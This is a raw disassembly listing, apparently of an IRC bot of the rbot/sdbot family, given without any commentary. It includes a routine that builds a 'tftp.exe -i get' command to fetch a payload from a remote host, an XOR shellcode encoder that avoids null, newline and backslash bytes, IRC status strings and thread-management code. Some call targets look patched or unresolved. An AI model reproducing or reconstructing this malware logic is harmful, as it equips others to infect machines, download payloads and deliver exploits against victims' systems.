loc_40AD8A:				; CODE XREF: ___:0040AD25j
					; ___:0040AD2Cj ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_43160C
		push	1Ch
		push	edi
		call	sub_41C100
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429094, esi
		jle	short loc_40ADCE


loc_40ADA8:				; CODE XREF: ___:0040ADCCj
		call	sub_41C062
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B8A0
		push	1Ch
		push	edi
		call	sub_41C100
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429094
		jl	short loc_40ADA8


loc_40ADCE:				; CODE XREF: ___:0040ADA6j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ADD4	proc near		; CODE XREF: sub_40AE77+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		nop
		call	near ptr 2690861h
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40AE23
		call	dword_4C9310
		test	eax, eax
		mov	eax, offset dword_43163C
		jnz	short loc_40AE0C
		mov	eax, offset byte_43B4B8


loc_40AE0C:				; CODE XREF: sub_40ADD4+31j
		push	eax
		push	esi
		push	offset dword_431634
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41C100
		add	esp, 14h
		jmp	short loc_40AE43
; ---------------------------------------------------------------------------


loc_40AE23:				; CODE XREF: sub_40ADD4+22j
		call	dword_4C9310
		test	eax, eax
		mov	eax, offset dword_43163C
		jnz	short loc_40AE37
		mov	eax, offset byte_43B4B8


loc_40AE37:				; CODE XREF: sub_40ADD4+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx


loc_40AE43:				; CODE XREF: sub_40ADD4+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B960
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40AE72
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41C950
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41BD70
		add	esp, 18h


loc_40AE72:				; CODE XREF: sub_40ADD4+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40ADD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE77	proc near		; CODE XREF: sub_4017E7+7Fp
					; sub_40194F+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42D92C


loc_40AE83:				; CODE XREF: sub_40AE77+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40AE9E
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41C7E0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40AEA8
; ---------------------------------------------------------------------------


loc_40AE9E:				; CODE XREF: sub_40AE77+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40AEA8:				; CODE XREF: sub_40AE77+25j
		test	eax, eax
		jnz	short loc_40AEBA
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42D9B8
		jl	short loc_40AE83
		jmp	short loc_40AEC8
; ---------------------------------------------------------------------------


loc_40AEBA:				; CODE XREF: sub_40AE77+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42D930[eax*4]
		pop	ecx


loc_40AEC8:				; CODE XREF: sub_40AE77+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40AEDB
		push	[ebp+arg_0]
		call	sub_40ADD4
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40AEDB:				; CODE XREF: sub_40AE77+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40AE77	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		push	ebx
		push	esi
		lea	eax, [ebp-0B8h]
		push	edi
		push	eax
		mov	edi, offset byte_43B4B8
		mov	dword ptr [ebp-0B8h], 94h
		call	near ptr 26D05ADh
		nop
		cmp	dword ptr [ebp-0B4h], 4
		push	0Ah
		pop	ebx
		jnz	short loc_40AF5A
		cmp	dword ptr [ebp-0B0h], 0
		jnz	short loc_40AF3B
		cmp	dword ptr [ebp-0A8h], 1
		jnz	short loc_40AF2B
		mov	edi, offset dword_431630


loc_40AF2B:				; CODE XREF: ___:0040AF24j
		cmp	dword ptr [ebp-0A8h], 2
		jnz	short loc_40AF96
		mov	edi, offset dword_43162C
		jmp	short loc_40AF96
; ---------------------------------------------------------------------------


loc_40AF3B:				; CODE XREF: ___:0040AF1Bj
		cmp	[ebp-0B0h], ebx
		jnz	short loc_40AF4A
		mov	edi, offset dword_431628
		jmp	short loc_40AF96
; ---------------------------------------------------------------------------


loc_40AF4A:				; CODE XREF: ___:0040AF41j
		cmp	dword ptr [ebp-0B0h], 5Ah
		jnz	short loc_40AF91
		mov	edi, offset dword_431624
		jmp	short loc_40AF96
; ---------------------------------------------------------------------------


loc_40AF5A:				; CODE XREF: ___:0040AF12j
		cmp	dword ptr [ebp-0B4h], 5
		jnz	short loc_40AF91
		cmp	dword ptr [ebp-0B0h], 0
		jnz	short loc_40AF73
		mov	edi, offset dword_431620
		jmp	short loc_40AF96
; ---------------------------------------------------------------------------


loc_40AF73:				; CODE XREF: ___:0040AF6Aj
		cmp	dword ptr [ebp-0B0h], 1
		jnz	short loc_40AF83
		mov	edi, offset dword_43161C
		jmp	short loc_40AF96
; ---------------------------------------------------------------------------


loc_40AF83:				; CODE XREF: ___:0040AF7Aj
		cmp	dword ptr [ebp-0B0h], 2
		mov	edi, offset dword_431694
		jz	short loc_40AF96


loc_40AF91:				; CODE XREF: ___:0040AF51j
					; ___:0040AF61j
		mov	edi, offset dword_431690


loc_40AF96:				; CODE XREF: ___:0040AF32j
					; ___:0040AF39j ...
		lea	eax, [ebp-0A4h]
		push	offset word_4C91BC
		push	eax
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AFB4
		mov	esi, offset dword_43168C
		jmp	short loc_40B02F
; ---------------------------------------------------------------------------


loc_40AFB4:				; CODE XREF: ___:0040AFABj
		lea	eax, [ebp-0A4h]
		push	offset a1	; "1"
		push	eax
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AFD2
		mov	esi, offset sub_431688
		jmp	short loc_40B02F
; ---------------------------------------------------------------------------


loc_40AFD2:				; CODE XREF: ___:0040AFC9j
		lea	eax, [ebp-0A4h]
		push	offset dword_431684
		push	eax
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AFF0
		mov	esi, offset dword_431680
		jmp	short loc_40B02F
; ---------------------------------------------------------------------------


loc_40AFF0:				; CODE XREF: ___:0040AFE7j
		lea	eax, [ebp-0A4h]
		push	offset dword_43167C
		push	eax
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B00E
		mov	esi, offset dword_431678
		jmp	short loc_40B02F
; ---------------------------------------------------------------------------


loc_40B00E:				; CODE XREF: ___:0040B005j
		lea	eax, [ebp-0A4h]
		push	offset dword_431674
		push	eax
		call	sub_41C080
		pop	ecx
		mov	esi, offset dword_431670
		test	eax, eax
		pop	ecx
		jnz	short loc_40B02F
		mov	esi, offset off_43166C


loc_40B02F:				; CODE XREF: ___:0040AFB2j
					; ___:0040AFD0j ...
		lea	eax, [ebp-0Ch]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	eax
		or	dword ptr [ebp-8], 0FFFFFFFFh
		or	dword ptr [ebp-0Ch], 0FFFFFFFFh
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	0
		call	sub_41AD74
		pop	ecx
		push	eax
		call	sub_41CA73
		mov	eax, [ebp-4]
		add	esp, 14h
		cmp	eax, ebx
		jge	short loc_40B079
		push	eax
		push	offset a0D	; "0%d"
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_41C100
		add	esp, 10h
		jmp	short loc_40B09D
; ---------------------------------------------------------------------------


loc_40B079:				; CODE XREF: ___:0040B062j
		cmp	eax, 64h
		jge	short loc_40B08B
		lea	ecx, [ebp-18h]
		push	ebx
		push	ecx
		push	eax
		call	sub_426642
		jmp	short loc_40B09A
; ---------------------------------------------------------------------------


loc_40B08B:				; CODE XREF: ___:0040B07Cj
		push	offset a99	; "99"
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_41C100


loc_40B09A:				; CODE XREF: ___:0040B089j
		add	esp, 0Ch


loc_40B09D:				; CODE XREF: ___:0040B077j
		nop
		call	near ptr 2690861h
		push	eax
		call	sub_41C058
		pop	ecx
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		push	7
		push	800h
		call	near ptr 26D0000h
		nop
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		lea	eax, [ebp-24h]
		push	edi
		mov	edi, [ebp+8]
		push	eax
		push	offset aSSSS	; "%s|%s|%s|%s|"
		push	1Ch
		push	edi
		call	sub_41C100
		xor	esi, esi
		add	esp, 1Ch
		cmp	dword_429094, esi
		jle	short loc_40B108


loc_40B0E3:				; CODE XREF: ___:0040B106j
		call	sub_41C062
		cdq
		mov	ecx, ebx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B8A0
		push	1Ch
		push	edi
		call	sub_41C100
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429094
		jl	short loc_40B0E3


loc_40B108:				; CODE XREF: ___:0040B0E1j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B10F	proc near		; CODE XREF: sub_40B12F+Ap
					; sub_40B207+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_41B960
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_41B960
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_40B10F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B12F	proc near		; CODE XREF: sub_40B21E+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B10F
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_40B14C
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40B14C:				; CODE XREF: sub_40B12F+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_41B960
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_41B960
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_43172C, eax
		lea	eax, [edi+1]
		mov	dword_43174D, eax
		lea	eax, [edi+17h]
		mov	dword_431745, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_4316C8
		push	ebx
		mov	dword_43175B, eax
		call	sub_41CAB0
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_41CAB0
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CAB0
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CAB0
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CAB0
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_41CAB0
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_431751
		push	esi
		call	sub_41CAB0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B12F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B207	proc near		; CODE XREF: sub_40B21E+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40B10F
		push	eax
		call	sub_40B28B
		add	esp, 0Ch
		retn
sub_40B207	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B21E	proc near		; CODE XREF: sub_40DCEA+32p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_40B207
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_40B23E
		cmp	eax, 0FFFFh
		jbe	short loc_40B242


loc_40B23E:				; CODE XREF: sub_40B21E+17j
		xor	eax, eax
		jmp	short loc_40B287
; ---------------------------------------------------------------------------


loc_40B242:				; CODE XREF: sub_40B21E+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_40B10F
		add	eax, 101h
		push	eax
		call	sub_41BC9B
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_40B10F
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_40B12F
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2A6
		push	esi
		mov	edi, eax
		call	sub_41BA31
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_40B287:				; CODE XREF: sub_40B21E+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_40B21E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B28B	proc near		; CODE XREF: sub_40B207+Ep
					; sub_40B2A6+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_40B294
		inc	ecx


loc_40B294:				; CODE XREF: sub_40B28B+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_40B28B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2A6	proc near		; CODE XREF: sub_40B21E+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_40B2C2
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_40B2C2
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_40B2C2
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_40B2C5


loc_40B2C2:				; CODE XREF: sub_40B2A6+8j
					; sub_40B2A6+Ej ...
		inc	[ebp+arg_C]


loc_40B2C5:				; CODE XREF: sub_40B2A6+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_40B2ED
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_40B2E6
		cmp	al, 0Dh
		jz	short loc_40B2E6
		cmp	al, 5Ch
		jz	short loc_40B2E6
		test	al, al
		jnz	short loc_40B2ED


loc_40B2E6:				; CODE XREF: sub_40B2A6+32j
					; sub_40B2A6+36j ...
		add	[ebp+arg_C], 100h


loc_40B2ED:				; CODE XREF: sub_40B2A6+28j
					; sub_40B2A6+3Ej
		push	[ebp+arg_C]
		call	sub_40B28B
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_40B305
		cmp	eax, 0FFFFh
		jbe	short loc_40B30C


loc_40B305:				; CODE XREF: sub_40B2A6+56j
		xor	eax, eax
		jmp	loc_40B3AA
; ---------------------------------------------------------------------------


loc_40B30C:				; CODE XREF: sub_40B2A6+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, byte_4C9448
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_40B33C


loc_40B320:				; CODE XREF: sub_40B2A6+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_40B333
		cmp	al, 0Ah
		jz	short loc_40B333
		cmp	al, 0Dh
		jz	short loc_40B333
		cmp	al, 5Ch
		jnz	short loc_40B337


loc_40B333:				; CODE XREF: sub_40B2A6+7Fj
					; sub_40B2A6+83j ...
		inc	bl
		xor	edx, edx


loc_40B337:				; CODE XREF: sub_40B2A6+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_40B320


loc_40B33C:				; CODE XREF: sub_40B2A6+78j
		cmp	ecx, esi
		mov	byte_4C9448, bl
		ja	short loc_40B368
		push	15h
		push	offset loc_4316B0
		push	[ebp+arg_0]
		mov	byte_4316BD, cl
		mov	byte_4316C1, bl
		call	sub_41CAB0
		add	esp, 0Ch
		push	15h
		jmp	short loc_40B389
; ---------------------------------------------------------------------------


loc_40B368:				; CODE XREF: sub_40B2A6+9Ej
		push	17h
		push	offset loc_431698
		push	[ebp+arg_0]
		mov	word_4316A6, cx
		mov	byte_4316AB, bl
		call	sub_41CAB0
		add	esp, 0Ch
		push	17h


loc_40B389:				; CODE XREF: sub_40B2A6+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_40B3A5
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]


loc_40B397:				; CODE XREF: sub_40B2A6+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_40B397


loc_40B3A5:				; CODE XREF: sub_40B2A6+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx


loc_40B3AA:				; CODE XREF: sub_40B2A6+61j
		pop	esi
		leave
		retn
sub_40B2A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B3AD	proc near		; CODE XREF: ___:00401596p
					; ___:004015D2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43C040


loc_40B3B5:				; CODE XREF: sub_40B3AD+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B3C9
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4C9040
		jl	short loc_40B3B5
		jmp	short loc_40B414
; ---------------------------------------------------------------------------


loc_40B3C9:				; CODE XREF: sub_40B3AD+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43C040[esi]
		push	eax
		call	sub_41BD70
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43C240[esi], eax
		and	dword_43C244[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43C248[esi], 0
		mov	dword_43C24C[esi], eax
		and	byte_43C258[esi], 0
		pop	esi


loc_40B414:				; CODE XREF: sub_40B3AD+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B3AD	endp

; ---------------------------------------------------------------------------
dword_40B418	dd 81EC8B55h, 98ECh, 8458B00h, 266A5756h, 8DF08B59h, 0FFFF68BDh
					; DATA XREF: sub_401AC7+292Co
		dd 0FFA5F3FFh, 80C7F075h, 94h, 1, 0FF6C858Dh, 75FFFFFFh
		dd 0B5FF50F4h, 0FFFFFF68h, 15E8h, 0EC75FF00h, 26CE8h, 14C48300h
		dd 0E890006Ah, 22D4B98h, 8B555E5Fh, 0EC81ECh, 56000002h
		dd 0FF006A57h, 8C681075h, 0FF004317h, 75FF0C75h, 0E3D8E808h
		dd 0C483FFFFh, 0BEFF3314h, 43C040h, 74003E80h, 147D833Ch
		dd 83097500h, 204BEh, 2D750000h, 858D5756h, 0FFFFFE00h
		dd 42C54868h, 4BE85000h, 6A00010Bh, 858D01h, 0FFFFFFFEh
		dd 0FF501075h, 75FF0C75h, 0E390E808h, 0C483FFFFh, 34C68124h
		dd 47000002h, 9040FE81h, 0B07C004Ch, 0C3C95E5Fh

; =============== S U B	R O U T	I N E =======================================



sub_40B4E8	proc near		; CODE XREF: sub_401AC7+79C4p
					; sub_40B576+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B570
		cmp	esi, 400h
		jge	short loc_40B570
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43C254[esi]
		lea	edi, dword_43C254[esi]
		call	near ptr 26908D2h
		nop
		cmp	[edi], ebx
		jz	short loc_40B520
		push	1
		pop	ebp


loc_40B520:				; CODE XREF: sub_40B4E8+33j
		mov	[edi], ebx
		lea	edi, dword_43C248[esi]
		mov	dword_43C240[esi], ebx
		mov	dword_43C244[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B541
		push	eax
		call	sub_419EB7
		pop	ecx


loc_40B541:				; CODE XREF: sub_40B4E8+50j
		mov	[edi], ebx
		lea	edi, dword_43C24C[esi]
		mov	byte ptr dword_43C040[esi], bl
		mov	byte_43C258[esi], bl
		push	dword ptr [edi]
		call	dword_4C939C
		lea	esi, dword_43C250[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4C939C
		mov	[esi], ebx
		pop	edi


loc_40B570:				; CODE XREF: sub_40B4E8+Dj
					; sub_40B4E8+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B4E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B576	proc near		; CODE XREF: sub_40111D+18p
					; ___:loc_4017D3p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43C040


loc_40B582:				; CODE XREF: sub_40B576+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B593
		push	edi
		call	sub_40B4E8
		test	eax, eax
		pop	ecx
		jz	short loc_40B593
		inc	ebx


loc_40B593:				; CODE XREF: sub_40B576+Fj
					; sub_40B576+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4C9040
		jl	short loc_40B582
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B576	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B5A8	proc near		; CODE XREF: sub_401AC7+41B3p
					; sub_401AC7+4300p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43C244


loc_40B5BC:				; CODE XREF: sub_40B5A8+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B5DE
		test	edi, edi
		jle	short loc_40B5D0
		cmp	[esi], edi
		jz	short loc_40B5D0
		cmp	ebx, edi
		jnz	short loc_40B5DE


loc_40B5D0:				; CODE XREF: sub_40B5A8+1Ej
					; sub_40B5A8+22j
		push	ebx
		call	sub_40B4E8
		test	eax, eax
		pop	ecx
		jz	short loc_40B5DE
		inc	[ebp+var_4]


loc_40B5DE:				; CODE XREF: sub_40B5A8+1Aj
					; sub_40B5A8+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4C9244
		jl	short loc_40B5BC
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B5A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B5F5	proc near		; CODE XREF: ___:0040162Ap
					; sub_401AC7+955p ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43C240


loc_40B5FC:				; CODE XREF: sub_40B5F5+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B605
		inc	eax


loc_40B605:				; CODE XREF: sub_40B5F5+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4C9240
		jl	short loc_40B5FC
		retn
sub_40B5F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B614	proc near		; CODE XREF: sub_401AC7+23C3p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43C240


loc_40B61E:				; CODE XREF: sub_40B614+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B637
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4C9240
		jl	short loc_40B61E
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B637:				; CODE XREF: sub_40B614+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B614	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B63B	proc near		; CODE XREF: sub_401AC7+1230p
					; sub_401AC7+124Ep ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B654
		push	[ebp+arg_1C]
		call	sub_41BEF9
		pop	ecx


loc_40B654:				; CODE XREF: sub_40B63B+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B5A8
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B680
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41C006
		add	esp, 14h
		jmp	short loc_40B69A
; ---------------------------------------------------------------------------


loc_40B680:				; CODE XREF: sub_40B63B+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41C006
		add	esp, 10h


loc_40B69A:				; CODE XREF: sub_40B63B+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B6BA
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 14h


loc_40B6BA:				; CODE XREF: sub_40B63B+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415CEE
		pop	ecx
		leave
		retn
sub_40B63B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B6C9	proc near		; CODE XREF: sub_4017E7+159p
					; ___:0040BCF6p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43C254[eax], ecx
		mov	dword_43C240[eax], ecx
		mov	dword_43C244[eax], ecx
		mov	dword_43C248[eax], ecx
		mov	dword_43C24C[eax], ecx
		mov	dword_43C250[eax], ecx
		mov	byte ptr dword_43C040[eax], cl
		mov	byte_43C258[eax], cl
		retn
sub_40B6C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B706	proc near		; CODE XREF: sub_401AC7+7C27p
					; sub_40B834+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_40B710:				; CODE XREF: sub_40B706+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B770
		cmp	eax, 1
		jnz	short loc_40B770
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B770
		cmp	cl, 2Ah
		jz	short loc_40B757
		cmp	cl, 3Fh
		jz	short loc_40B73A
		cmp	cl, 5Bh
		jz	short loc_40B73F
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40B73A:				; CODE XREF: sub_40B706+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B76A
; ---------------------------------------------------------------------------


loc_40B73F:				; CODE XREF: sub_40B706+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B79C
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B76A
; ---------------------------------------------------------------------------


loc_40B757:				; CODE XREF: sub_40B706+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B834
